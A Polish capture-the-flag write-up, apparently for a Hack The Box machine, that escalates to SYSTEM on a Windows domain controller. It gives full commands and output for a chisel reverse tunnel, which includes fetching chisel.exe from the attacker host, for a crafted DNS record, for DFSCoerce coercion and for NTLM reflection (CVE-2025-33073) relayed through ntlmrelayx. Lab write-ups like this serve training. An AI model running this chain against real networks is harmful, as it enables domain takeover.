SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled
SeCreateGlobalPrivilege       Create global objects              Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled
PS C:\> ls


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/7/2025   2:57 AM                inetpub
d-----       10/10/2020   8:38 AM                PerfLogs
d-r---        10/6/2025   8:30 AM                Program Files
d-----        10/2/2025   9:25 AM                Program Files (x86)
d-----        10/2/2025   9:19 AM                SQL2022
d-r---        10/2/2025   9:27 AM                Users
d-----        10/7/2025   3:05 AM                Windows
PS C:\> ls Users\


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        10/7/2025   2:56 AM                Administrator
d-----        10/2/2025   9:27 AM                mssqlsvc
d-r---        4/10/2020  10:49 AM                Public
PS C:\Windows\system32> tree /f C:\Users\mssqlsvc
Folder PATH listing
Volume serial number is BED4-436E
C:\USERS\MSSQLSVC
????Desktop
?       user.txt
?
????Documents
????Downloads
????Favorites
????Links
????Music
????Pictures
????Saved Games
????Videos

Tunel socks proxy

W takim wypadku możemy skupić się na innych usługach, które nie są widoczne z zewnątrz, a do których mamy dostęp dzięki shellowi. Otwartych portów jest sporo, większość typowa dla kontrolera domeny:

PS C:\> netstat -anot | findstr 'TCP' | findstr 'LISTENING'
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       912      InHost
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4        InHost
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       912      InHost
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       2704     InHost
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:5986           0.0.0.0:0              LISTENING       4        InHost
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2476     InHost
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4        InHost
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       480      InHost
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1192     InHost
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1692     InHost
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:49673          0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:49674          0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:49675          0.0.0.0:0              LISTENING       3012     InHost
  TCP    0.0.0.0:49678          0.0.0.0:0              LISTENING       624      InHost
  TCP    0.0.0.0:49682          0.0.0.0:0              LISTENING       644      InHost
  TCP    0.0.0.0:51314          0.0.0.0:0              LISTENING       2192     InHost
  TCP    0.0.0.0:63051          0.0.0.0:0              LISTENING       2420     InHost
  TCP    10.129.4.92:53        0.0.0.0:0              LISTENING       2192     InHost
  TCP    10.129.4.92:139       0.0.0.0:0              LISTENING       4        InHost
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2192     InHost
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       2704     InHost

Dalej wykorzystamy narzędzie chisel, by ztunnelować ruch poprzez socks proxy do sieci wewnętrznej. Dzięki temu będziemy mogli używać narzędzi bezpośrednio na naszym hoście i rozmawiać z usługami działającymi na serwerze signed.htb, mimo obecności firewalla.

rvr@rvr$ ./chisel server -p 8888 --reverse
2026/02/19 17:31:59 server: Reverse tunnelling enabled
2026/02/19 17:31:59 server: Fingerprint ZqpfagwyxM7pC1MBesm78uwCmhUzt2pjS/K0XrpP1KE=
2026/02/19 17:31:59 server: Listening on http://0.0.0.0:8888
PS C:\ProgramData> curl http://10.10.15.26:8000/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.15.26:8888 R:socks

Teraz dzięki proxychains możemy przepuścić ruch przez nasze socks proxy i użyć nmapa do sprawdzenia dostępności portów po tak stunelowanym ruchu. Do testów wystarczą jedynie dwa porty (jeden otwarty, drugi zamknięty, np. 5986 i 5985):

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q nmap -Pn -p 5985,5986 -sT -vv 127.0.0.1
[sudo] password for rvr:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-19 17:38 CET
Initiating Connect Scan at 17:38
Scanning localhost (127.0.0.1) [2 ports]
Discovered open port 5986/tcp on 127.0.0.1
Completed Connect Scan at 17:38, 0.38s elapsed (2 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up, received user-set (0.19s latency).
Scanned at 2026-02-19 17:38:46 CET for 0s

PORT     STATE  SERVICE REASON
5985/tcp closed wsman   conn-refused
5986/tcp open   wsmans  syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds

Odpowiedź jest tożsama z tym co widzimy w netstat. Możemy być więc pewni, że ruch jest poprawnie tunelowany.

CVE-2025-33073 - NTLM reflection

W ostatnim czasie odkryta została poważna podatność w systemie Windows - CVE‑2025‑33073. Następujący blogpost bardzo dobrze opisuje, czego ona dotyczy. Za SynActiv:

NTLM reflection is a special case of NTLM authentication relay in which the original authentication is relayed back to the machine from which the authentication originated.

W skrócie, wykorzystujemy fakt istnienia lokalnego uwierzytelnienia NTLM, które może być wymuszone przez dodanie konkretnego rekordu DNS na serwerze AD (o tym jaki to dokładnie musi być rekord, opowiem za chwilę). Najważniejszą informacją jest to, że traktowany jest on jako adres localhost, mimo że adres IP, pod który kieruje już wcale nie musi być adresem z zakresu loopback. Może kierować w zupełnie inne miejsce, np. na adres wskazany przez atakującego.

A dlaczego ważne jest, aby było to lokalne uwierzytelnienie NTLM? Otóż wtedy dla serwera AD zarówno klient, jak i serwer biorące udział w procesie uwierzytelnienia, działają na jednej maszynie. Wszystko więc ma miejsce w jednym procesie lsass, który posiada bardzo wysokie uprawnienia (NT AUTHORITY/SYSTEM).

Ważne jest tu również istnienie techniki ataku zwana coercją (coerce), która pozwala wymusić uwierzytelnienie do dowolnego hosta. W trakcie takiej coercji możemy wskazać nowo stworzony rekord dns jako cel uwierzytelnienia, dzięki czemu wymusimy wspomniane wyżej lokalne uwierzytelnienia NTLM.

Jak wreszcie powinien wyglądać ten magiczny rekord DNS? O tak: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. Jako pierwszy wspomniał o nim James Forshaw z Google Project Zero. Po dokładniejsze wyjaśnienie jego struktury odsyłam do oryginalnego artykułu autora oraz do materiałów firmy SynActiv. W dużym skrócie: gdy klient (np. SMB) zobaczy taki rekord DNS, mimo dokonania unmarshallingu danych w nim zawartych (czyli tego enigmatycznego ciągu: 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA), całkowicie je zignoruje i zostawi tylko część przed SPN (tj. samo localhost). Dalej klient poprosi o poświadczenia dla localhost (wykona więc lokalne uwierzytelnienie NTLM) i połączy się z adresem, pod który ten rekord kieruje, czyli z kontrolowanym przez atakującego adresem IP.

Do pełni sukcesu brakuje nam już tylko właściwego relayingu (odelegowania) odebranych poświadczeń SMB do innej usługi np. winrm. Do tego celu użyjemy ntlmrelayx, z repozyterium impacket.

Przejdźmy wreszcie do terminala. Zacznijmy od sprawdzenia możliwości ataku coerce:

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus
[sudo] password for rvr:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
SMB         127.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         127.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, DFSCoerce
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, MSEven

Jest dobrze. Widzimy kilka możliwości DFSCoerce, PetipPotam, PrinterBug i MSEven.

I sprawdźmy możliwość NTLM reflection:

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M ntlm_reflection
[sudo] password for rvr:
SMB         127.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         127.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
NTLM_REF... 127.0.0.1       445    DC01             VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1)

VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1) to też dobrze wróży.

Dodajmy regułę dns, aby móc zastosować potem relaying. Do tego celu wykorzystamy dnstool.py z repozytorium krbrelayx od Dirk-jan Mollema. Wskazujemy adres 127.0.0.1 jako dns ip, dzięki tunelowi socks proxy. Musimy wykorzystać również przełącznik --tcp, gdyż po tym protokole działa nasz tunel. Dodajemy również nasze ip jako adres, pod który kierować będzie rekord: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA:

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q python3 /opt/krbrelayx/dirkjanm/dnstool.py -u 'signed.htb\mssqlsvc' -p 'purPLE9795!@' 127.0.0.1 -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d 10.10.15.26 -dns-ip 127.0.0.1 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Możemy narzędziem dig sprawdzić istnienie dodanego rekordu:

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @dc01.signed.htb +tcp

; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @dc01.signed.htb +tcp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56442
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. IN A

;; ANSWER SECTION:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. 180 IN A 10.10.15.26

;; Query time: 56 msec
;; SERVER: 224.0.0.1#53(dc01.signed.htb) (TCP)
;; WHEN: Fri Feb 20 23:39:31 CET 2026
;; MSG SIZE  rcvd: 109

Wreszcie, ustawiamy ntlmrelayx w drugiej konsoli - musi on kierować na port WINRM (5986, gdyż to ten port winrm jest otwarty na serwerze signed.htb):

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf -q ~/.local/pipx/venvs/impacket/bin/ntlmrelayx.py -t "winrms://127.0.0.1" -smb2support
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections

Mozemy teraz uruchomić coerce_plus z jedną ze znalezionych metod exploitacji, np. DFSCoerce:

rvr@rvr$ sudo proxychains4 -f /etc/proxychains4.conf /home/rvr/.local/bin/nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA METHOD=DFSCoerce
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
SMB         127.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         127.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 127.0.0.1       445    DC01             VULNERABLE, DFSCoerce
COERCE_PLUS 127.0.0.1       445    DC01             Exploit Success, netdfs\NetrDfsRemoveRootTarget
COERCE_PLUS 127.0.0.1       445    DC01             Exploit Success, netdfs\NetrDfsAddStdRoot
COERCE_PLUS 127.0.0.1       445    DC01             Exploit Success, netdfs\NetrDfsRemoveStdRoot

Po chwili w terminalu z ntlmrelayx zobaczymy komunikację:

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.4.92, attacking target winrms://127.0.0.1
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.4.92 against winrms://127.0.0.1 SUCCEED [1]
[*] winrms:///@127.0.0.1 [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!
[*] All targets processed!
[*] (SMB): Connection from 10.129.4.92 controlled, but there are no more targets left!

Możemy teraz połączyć się do utworzonego shella poprzez nc 127.0.0.1 11000, by cieszyć się uprawnieniami nt authority\system i móc odczytać flagę znajdującą się w root.txt:

rvr@rvr$ nc 127.0.0.1 11000
Type help for list of commands

# whoami
nt authority\system

# DIR C:\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is BED4-436E

 Directory of C:\Users\Administrator\Desktop

10/06/2025  04:04 AM    <DIR>          .
10/06/2025  04:04 AM    <DIR>          ..
02/20/2026  05:25 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,309,539,840 bytes free

# TYPE C:\Users\Administrator\Desktop\root.txt
49756c**************************
© 2026, Code by ravr & powered by Gatsby